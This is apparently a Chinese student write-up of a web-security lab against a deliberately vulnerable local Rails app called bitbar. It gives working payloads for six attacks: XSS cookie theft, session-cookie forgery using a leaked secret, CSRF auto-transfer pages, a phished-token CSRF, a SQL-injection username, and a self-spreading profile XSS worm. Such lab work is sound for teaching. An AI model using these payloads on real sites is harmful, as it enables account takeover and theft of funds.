实验环境

https://github.com/TouwaErioH/security/tree/master/web1

Windows10

Oracle VM VirtualBox

Ubuntu16.04 i386

安装Ruby和rails,http://gorails.com/setup/ubuntu/16.04

下载实验提供的project 2源码

重定位到/bitbar目录下,执行bundle install

开启服务器 (rails server)

可以在http://localhost:3000上访问bitbar

Ruby 2.5.0

Rails 5.0.7.2

实验步骤

参考:

https://www.w3school.com.cn/xml/xml_http.asp

Cookie:

https://blog.csdn.net/weixin_34183910/article/details/92205222

https://www.cnblogs.com/b0xiaoli/p/3935267.html

https://baike.baidu.com/item/cookie/1119?fr=aladdin

http://en.wikipedia.org/wiki/HTTP_cookie

http  cookie   browser

https://www.cnblogs.com/lancidie/p/8251187.html

存储型XSS

https://blog.csdn.net/weixin_44720762/article/details/89736508

1. attack1 漏洞分析及攻击原理

Attack  1: Warn-up exercise: Cookie Theft

l 开始网址

http://localhost:3000/profile?username=

l 评分员将提前以user1的身份登录bitbar,然后打开以上的开始网址

l 你的目标是偷取user1的会话cookie并且将cookie发送到

http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

l 你可以在以下网址上查看最近被偷取的cookie

http://localhost:3000/view_stolen_cookie

l 请将你的答案写在warmup.txt中

l 提示:尝试添加一些随机字符串到开始网址后,观察这些随机字符会如何影响网页

原理:

打开开始网址:http://localhost:3000/profile?username=

原本功能应该是输入文件名查看文件,测试 123,可见是 get 方法发送request。

测试发现存在XSS漏洞,可以直接执行js代码

测试方法:

<script>alert(/xss/)</script>

先输了123,然后看url变化,直接显示了username=123,直接输了<script>alert(/xss/)</script>

然后就弹窗,然后看url发现代码直接就显示出来了,说明没有过滤、html编码等,就有xss漏洞了

Rails框架采用客户端session而非服务端session,cookie中已经存储session信息。

题目说明user1已经登录bitbar,打开目标网页,故会话cookie此时已经存在user1的浏览器,直接使用document.cookie属性就可以获取字符串格式的cookie.

题目说明获取cookie后发送到

http://localhost:3000/steal_cookie?cookie=...cookie_data_here...

这里也是get方法,?后为参数,字符串形式。

故目的url 为  ‘http://localhost:3000/steal_cookie?cookie=’+(document.cookie)

可以用XMLrequest发送请求,设置open method为GET,url为上述url即可

代码如下

<script type="text/javascript">

var x = new XMLHttpRequest();

x.open("GET", "http://localhost:3000/steal_cookie?cookie="+(document.cookie));

x.send()

</script>

将这段代码注入到开始网址,

运行效果:

执行js代码前

执行后:

也可以

Image()).src="http://localhost:3000/steal_cookie?cookie="+document.cookie

效果一样

题目的意思是user1已经登陆,然后打开了那个页面,然后我们直接偷他的cookie(相当于user1走开了,坐他旁边的人来操作一下)

若要做到窃取任意人的cookie,用存储型XSS,将偷cookie的代码上传到服务器,这样以后每个打开页面的人的cookie都会被偷,但是这样需要表单,数据库......固定到网页,或者其他用户要调用的表单

2.attack2漏洞分析及攻击原理

Attack 2: Session hijacking with Cookies

l 在本次试验中,你将会获得attacker的身份:用户名attacker,密码attacker。你的目的是伪装成用户user1登录系统

l 你的答案是一个脚本。当这个脚本在JavaScript console中执行时,bitbar将误认为你是以user1。请将这个脚本写到a.sh中

l 本次试验中,你可以使用Mechanize。Mechanize是一个Ruby的库函数, 它被用于与web应用实现自动化交互。在本次试验中,你必须要保存服务器发送的所有的cookie值。

l 提示:网站是如何保存会话的?网站是如何验证用户当前是否登录?网站是如何验证cookie的真实性的?

网站使用cookie保存对话。登录时附带cookie说明当前用户登录。使用签名验证cookie真实性。

原理:

网站识别用户使用的是cookie。要伪装成user1登录系统,需要伪造user1的cookie。

和attack1不同之处是attack1中user1已经提前登陆,故可以直接document.cookie获取user1的cookie。

要伪造cookie需要了解cookie的生成过程,rails的cookie生成过程如下:

加密过程:

Session data的登录信息保存在warden.user.user.key

session = { "warden.user.user.key" => [[1],"secret"] }

序列化->Padding->加密AES-CBC->拼装加密内容和IV(BASE64)->签名HMAC-SHA1->拼装签名

解密过程:

分离签名->验证签名->分离加密内容和IV->解密->UNPADDING->解析->完成

先使用attacker登陆bitbar,burp suite抓取信息,查看Bitbar的cookie结构

如上图,--后为签名,直接分离,前面部分进行其他解密步骤。

经过解密测试bitbar没有采用AEC-CBC加密,故在加解密时可以跳过相关步骤

题目提示使用Mechanize进行交互,安装:

使用:

模拟登陆:

实例化Mechanize对象

访问登录页面

获取表单

使用attacker attacker填写表单,提交

服务端返回cookie

对返回到cookie解密:

分割签名 --

BASE64解码

反序列化

得到session信息

代码

# 模拟登陆

agent = Mechanize.new #实例化Mechanize对象

url = "http://localhost:3000/login"

page = agent.get(url)

form = page.forms.first

form['username'] = form['password'] = 'attacker' # 使用attacker的信息填写表单

agent.submit form # 提交表单

cookie = agent.cookie_jar.jar['localhost']['/'][SESSION].to_s.sub("#{SESSION}=", '') #返回cookie

cookie_value, cookie_signature = cookie.split('--')  #分离签名

raw_session = Base64.decode64(cookie_value) #BASE64解码

session = Marshal.load(raw_session) #反序列化

puts session #打印cookie

截止到此得到attacker的session 信息为

{"session_id"=>"66ef9a22ca26e27ea4d3018b12c07999","token"=>"q2VXDRnMskkf-69Gu2PiTg", "logged_in_id"=>4}

可见登陆id以数字表明,可以判断用户按顺序标记(已知用户user1,user2,user3,attacker),那么user1应该是 logged_in_id为1.

将id改为1,然后进行加密过程(序列化,BASE64编码),即可得到伪造的user1的cookie的前半部分。

session['logged_in_id'] = 1

cookie_value = Base64.encode64(Marshal.dump(session)).split.join # 伪造前半部分

服务器还要验证后半部分的签名,由上面的理论分析可知签名采用HMAC-SHA1。

伪造签名需要获取秘钥,在本地源代码得到签名秘钥

路径如图

利用密匙生产签名,--链接,得到完整的user1的cookie。

cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new, RAILS_SECRET, cookie_value)

cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}"  #签名并合并

puts "document.cookie='#{cookie_full}';" #打印完整的cookie

之后继续利用Mechanize,利用伪造的cookie登录bitbar,验证是否伪装为user1即可。

可以利用 http://localhost:3000/profile 验证,如图,页面信息显示当前登录为attacker,使用伪造的cookie访问该页面,若显示user1说明成功。可以直接打印返回的reponse.body,查看相关字段

url = URI('http://localhost:3000/profile')

http = Net::HTTP.new(url.host, url.port)

header = {'Cookie':cookie_full} #使用伪造的cookie访问

response = http.get(url,header)

puts response.body  #查看相关字段

a.sh见报告文件夹 answer/a.sh

运行:ruby a.sh

3.attack3漏洞分析及攻击原理

Attack 3: Cross-site Request Forgery

l 你的答案是一个名字为b.html的html文件。评分人将用浏览器打开b.html

l 在打开b.html前,评分人将提前使用user1的身份登录到bitbar

l 打开b.html后,10个bitbar将从user1的账户转到attacker的账户,当转账结束时,页面重定向到www.baidu.com

l 你可以在http://localhost:3000/view_users 查看用户列表以及每个用户拥有的bitbar

l 在攻击的过程中,浏览器的网址中不能出现localhost:3000

原理:

我们不清楚转账的机制,所以先进行一次转账,抓取数据,查看相关内容,然后构造b.html。

题目提到评分人提前登陆user1,故浏览器已经存储user1的cookie。

分析源代码可以找到user的密码

登陆user1,向attacker转账10,抓包

可知向/post_transfer接口POST数据  destination_username 信息即可。另外有编码方式 Content-Type。

需要注意附带cookie

查看网页源代码,找到相关信息,构造表单

表单内容为目的地址(转移接口),方式(POST),编码方式(在抓取的数据包有)。

这里设定id为getpay,用于后续自动提交该表单

<form action="http://localhost:3000/post_transfer" method="post" enctype="application/x-www-form-urlencoded" id="getpay">

<input type="hidden" name="destination_username" value="attacker">

<input type="hidden" name="quantity" value=10>

</form>

以上完成转账表单,要实现自动转账,需要设置,当b.html被打开即调用函数提交表单

可以使用window.load

最后添加重定向到baidu.com的代码,延时0.2s转到百度。

setTimeout(function(){window.location = "http://baidu.com";}, 0.2);

完整代码b.html见报告文件夹 answer/b.html

测试

当前用户信息

打开b.html

结果成功

注意某些版本firefox执行可能出现没有跳转(setTimeout没有执行),参考http://www.gxlsystem.com/JavaScript-25470.html

解决。

4.attack4漏洞分析及攻击原理

l 你的答案是一个或者两个html页面,命名为bp.html,bp2.html(可选)。评分员会在浏览器中打开bp.html

l 在打开bp.html前,评分员已经用user1的身份登录到系统中

l 评分员将于bp.html页面进行交互,因此bp.html的回应要合理。也就是说,如果在页面上有一个表格或者有一个按钮,并且在页面上有一些提示要求评分员进行一些操作,评分员将会依照这些提示执行。

l 在评分员与bp.html页面进行交互后,10 bitbars将会从评分员的账户转到attacker的账户。当这个转账操作执行完成后,页面将重定向到www.baidu.com

l 你的攻击必须要在于用户互动的前提下执行(不要再一次进行一次CSRF攻击)。特别的要注意的是,你的攻击要针对的网址是http://localhost:3000/super_secure_transfer或者 http://localhost:3000/super_secure_post_transfer。这两个网址做了一些CSRF攻击的防护。在攻击的过程中,你不能直接与http://localhost:3000/transfer或者http://localhost:3000/post_transfer进行交互。

l 在你的攻击过程中,需要隐藏你的页面正从http://localhost:3000上下载内容的事实。

原理:

查看相关网页

也可以继续测试,抓包,查看。可见和attack区别是多了一个随机的Token,所以不能用attack的自动提交方法。

故需要欺骗用户输入token,也就是交互。这里欺骗方法可以是提示用户输入Token来验证自己是否是robot。

然后将获取的token连同quantity和des_username提交即可。

设计一个欺骗网页,显示字符串“输入token验证”,当用户输入并点击确定时调用自动提交表单的函数,完成转账,并跳转到baidu。

欺骗与按钮设计。点击confirm后会调用getpay函数

<p> input Super Secret Token to prove you are not a robot</p>

<input id="token" type="text" placeholder="Captcha">

<button onClick="getpay()">Confirm</button>

然后设计getpay()函数.

采用和attack不同的XMLHTTPRequest。

功能为:使用value获取输入的token,和attacker拼接为发送的字符串。新建XMLHTTPRequest实例。然后设置网址,设置参数,使用cookie,发送。这样就完成转账。

然后使用window.top.location跳转到百度。

<script>

function getpay() {

var request = new XMLHttpRequest(); //实例

var token = document.getElementById("token").value; //获取token

request.open("POST", "http://localhost:3000/super_secure_post_transfer", false); //设置请求但没有发送

request.setRequestHeader("Content-type","application/x-www-form-urlencoded");//设置参数

request.withCredentials = true; //使用cookie

try {

request.send("quantity=10&destination_username=attacker&tokeninput=" + token); //发送

} catch (err) {

// Do nothing

} finally {

window.top.location = "http://baidu.com";   //最后跳转到baidu

}

}

</script>

完整代码见报告文件夹 answer/bp.html

5.attack5漏洞分析及攻击原理

l 你的答案是一个恶意的用户名。这个恶意的用户名允许你删除一个你不具有访问权限账户。

l 评分员将使用你提供的恶意用户名新建一个账户。并在“close”页面上确认删除该账户

l 作为结果,新建的账户以及user3的账户将会被删除。其他的账户不变

l 你可以在http://localhost:3000/view_users页面上查看所用的用户

l 如果数据库在测试攻击的过程中被破坏了,你可以停止Rails然后使用rake db:reset命令是数据库复原。

l 将你的最终答案写在d.txt中

l 提示:SQL注入;WHERE子句

原理:

至体积一个用户名就删除user3,应该是拼接注册的SQL语句导致删除。

先分析网站源码,得到注册的逻辑。

将直接将用户名写到user.username字段。

再看删除的逻辑,直接使用输入的用户名。都没有做变换,故可以构造用户名,直接写入数据库,然后删除这个用户,实际上连接成SQL语句删除user3.

先随便注册一个用户 123 123

在后台(终端的命令行)看到相关SQL语句

再删除,看到相关语句

相当于语句

delete from users where username = ‘123’

注意是字符串,为注册的用户名加了两个单引号’’。题目还要求同时删除创建的用户,

构造为

user3' or username LIKE '%or username LIKE%

这样删除语句变为

delete from users where username =’user3' or username LIKE '%or username LIKE%

这样就同时删除自身和user3.除非其他用户名含有 or username LIKE,否则不会误删

效果:   注意使用英文单引号

注册:

删除自身

6.attack6漏洞分析及攻击原理

l 你的答案是一个用户的profile(简况)。当其他用户阅读这个profile时,1个bitbar将会从当前账户转到attacker的账户,并且将当前用户的profile修改成该profile。因此,如果attacker将他的profile修改成你的答案,以下情况会发生:

n 如果user1浏览了attacker的profile,那么1 bitbar将从user1的账户转到attacker的账户,user1的profile修改成你答案中的profile

n 之后,如果user2浏览了user1的profile,那么1 bitbar将从user2的账户转到attacker的账户,user2的profile也被替换成你答案中profile

因此,你的profile worm将会很快扩散到全部的用户账户中

l 将你的恶意的profile写在d.txt中

l 评分过程:评分员将会将你提供的恶意profile复制到attacker的profile上。然后,评分者将使用多个账户浏览attacker的profile。检查是否正常进行转账以及profile的复制

l 转账和profile复制的过程应该具有合理的速度。在这个过程中,评分员不会点击任何地方。

l 在转账和profile的赋值过程中,浏览器的地址栏需要始终停留在http://localhost:3000/profile?username=x ,其中x是profile被浏览的用户名。

l 不会出现当前账户没有钱可以转的情况

l 提示:MySpace vulnerability

原理:

实现两个功能:转账+复制。转账功能可以利用attack3或attack4的思路,向接口发送数据即可。

对于复制文件并不清楚,需要测试。以及如何使profile生效需要测试。

转账的代码参考attack3,4,不再赘述。

修改profile:

使用attacker登录,设置自己的profile。Burp suite抓包查看信息。发现修改profile是利用了/set_profile 接口。

故要修改浏览者的profile,只需采用转账类似的方法,向/set_profile发送数据即可。XXX为待完成部分。

request = new XMLHttpRequest();  //对象

request.open("POST", "http://localhost:3000/set_profile", true);  //地址

request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //参数

request.withCredentials = true;   //cookie

request.send(XXX)));

查看attacker的profile,对应源码。发现一个用户的profile被一个<div id=profile>标签包围。故可以采用document.getElementById('profile').outerHTML来获取当前被浏览用户的profile的HTML内容。

若要做到更好可以在profile加一层包装,如下,然后只获取wrap标签内的内容即可document.getElementById('wrap').outerHTML

<span id="wrap">

Profile

</span>

拼接”new_profile”即为上面XMLHTTPRequest的send的内容。注意escape()编码,然后连接时使用contact而非+,因为+在HTML中为空格。

request.send("new_profile=".concat(escape(document.getElementById('profile').outerHTML)));

最后是如何执行转账和复制的代码。

网站源码渲染用户的profile代码在views/profile.html.erb中调用了sanitize_profile函数,而这个函数定义在application_helper

santitize 函数,通过 tags 和 attributes设定了白名单,其中允许href,故可以使用JavaScript伪协议来XSS

https://ruby-china.org/topics/28760

attributes 白名单不安全,根据现在的实现(#issues-27),如果设置了 attributes 参数,就会跳过一些属性过滤,例如协议过滤:

sanitizie '<a href="javascript:alert()">click</a>'#=> <a>click</a>

sanitizie '<a href="javascript:alert()">click</a>', attributes: %w(href)#=> <a href="javascript:alert()">click</a>'

在class属性中利用eval就可以执行js代码。

以上完成所有需要的代码。

测试中发现,服务器会将发送到post_transfer的内容的&,变为&,这样复制之后的代码没有转账功能

如图

故需要对&做编码,使用 String.fromCharCode()对&编码,于是转账部分向post_transfer发送内容变为

request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker"));

最后的profile完整代码:

<span id="wrap">

<span id="bitbar_count" class="eval(document['getElementById']('myattack')['innerHTML'])"></span>

<span id="myattack">   //eval执行下面的函数

document.getElementById('myattack').style.display = "none"; //不在profile显示

setTimeout(function(){

var request = new XMLHttpRequest();  //实例

request.open("POST", "http://localhost:3000/post_transfer");  //目的

request.setRequestHeader("Content-type","application/x-www-form-urlencoded"); //编码

request.withCredentials = true; //cookie

try {

request.send("quantity=1".concat(String.fromCharCode(38)).concat("destination_username=attacker")); //send内容,转账

} catch (err) {

//DO nothing

} finally {

request = new XMLHttpRequest();

request.open("POST", "http://localhost:3000/set_profile", true);   //修改的api地址

request.setRequestHeader("Content-type","application/x-www-form-urlencoded");

request.withCredentials = true;

request.send("new_profile=".concat(escape(document.getElementById('wrap').outerHTML))); //修改浏览者profile

}

}, 0);

10; //显示一个虚假的profile

</span>

</span>

测试发现上述代码在chrome成功转账并感染,但是在某些版本firefox只转账,推测是settimeout的问题。

解决:

方法1:直接在class执行所有的函数,不使用eval,也不适用settimeout

<img id="bitbar_count" class='var request = new XMLHttpRequest();
request.open("POST", "http://localhost:3000/post_transfer");
request.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request.withCredentials = true;
request.send("quantity=1&destination_username=attacker");
var request2 = new XMLHttpRequest();
request2.open("POST", "http://localhost:3000/set_profile");
var new_profile = document.getElementById("profile").innerHTML;
request2.setRequestHeader("Content-type","application/x-www-form-urlencoded");
request2.withCredentials = true;
request2.send("new_profile=" + encodeURIComponent(new_profile));'>

方法2:新建Formdata对象,使用append方法添加参数。.fetch函数是封装好的js函数。

<p id="bitbar_count" class="

let transferdata=new FormData();

transferdata.append('destination_username','attacker');

transferdata.append('quantity','1');

fetch('../post_transfer',{method:'POST',body:transferdata});

let profiledata=new FormData();

profiledata.append('new_profile',document.getElementById('profile').innerHTML);

fetch('../set_profile',{method:'POST',body:profiledata});

"></p>

经过测试二者都可以完成目的功能。

效果:

设置attacker的profile

User1浏览attacker

浏览前

浏览后

bitbar 网站攻击实验的更多相关文章

  1. Mininet实验 基于Mininet实现BGP路径挟持攻击实验

    参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...

  2. CSAPP缓冲区溢出攻击实验(上)

    CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...

  3. CSAPP缓冲区溢出攻击实验(下)

    CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...

  4. Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)

    缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...

  5. ms08_067攻击实验

    ms08_067攻击实验 ip地址 开启msfconsole 使用search ms08_067查看相关信息 使用 show payloads ,确定攻击载荷 选择playoad,并查看相关信息 设置 ...

  6. 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验

    注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...

  7. 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验

    20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...

  8. 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验

    shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...

  9. 2017-2018-2 20179205《网络攻防技术与实践》Windows攻击实验

    Windows攻击实验 实验描述: 使用Metaspoit攻击MS08-067,提交正确得到远程shell过程的截图(不少于五张). MS08-067漏洞介绍   MS08-067漏洞的全称为&quo ...

随机推荐

  1. vue href url地址写法

  2. 1V转5V芯片,三个元件即可组成完整的稳压方案

    1V低电压要转成5V的电压,需要1V转5V的芯片,由于1V输入,所以不需要指望能输出多大的电流,压差和1V的供电电压意味着供电电流也是无法做大的了.一般1V转5V的输出电流在0MA-100mA,一般6 ...

  3. Docker下梦织CMS的部署

    摘要:Docker的广泛应用相对于传统的虚拟机而言提高了资源的利用率,推广后docker的影响不容忽视,在启动速度.硬盘.内存.运行密度.性能.隔离性和迁移性方面都有很大的提高.本次实训我们在cent ...

  4. Python入门之修改jupyter启动目录

    [导读]在给大家分享知识的过程中,我们也会分享一些小技巧,能够帮助大家在学习过程中有更好的体验.之前我们给大家分享了anaconda安装教程以及jupyter notebook使用方法,今天我们为大家 ...

  5. nokogiri Fail install on Ruby 2.3 for Windows #1456 <From github>

    Q: gem install railson nokogiri install fail with error: 'nokogiri requires Ruby version < 2.3, & ...

  6. 【Android】报错 Please ensure Hyper-V is disabled in Windows Features, or refer to the Intel HAXM 的解决方案

    参考文章 实测华为锐龙本(adm yes)安装Android avd虚拟机教程 环境 Android Studio 3.6; Windows 1909; AMD Ryzen 4800U with Ra ...

  7. 前端面试之HTTP状态码!

    前端面试之HTTP协议的东西! 一次HTTP请求的流程! HTTP 状态码 成功响应(200–299) 状态码 含义 200 请求成功 201 该请求已成功,并因此创建了一个新的资源.这通常是在POS ...

  8. CISCO 如何重置3850交换机密码

    SUMMARY STEPS: Connect a terminal or PC to the switch. Set the line speed on the emulation software ...

  9. Maven 知识点总结以及解决jar报冲突的几种方法

    1.常见的命令 Compile Test Package Install Deploy Clean 2.坐标的书写规范 groupId 公司或组织域名的倒序 artifactId 项目名或模块名 ve ...

  10. 实现一个List集合中的某个元素的求和

    List<User> userlist = userService.findAll();Integer sum= userlist .stream().collect(Collectors ...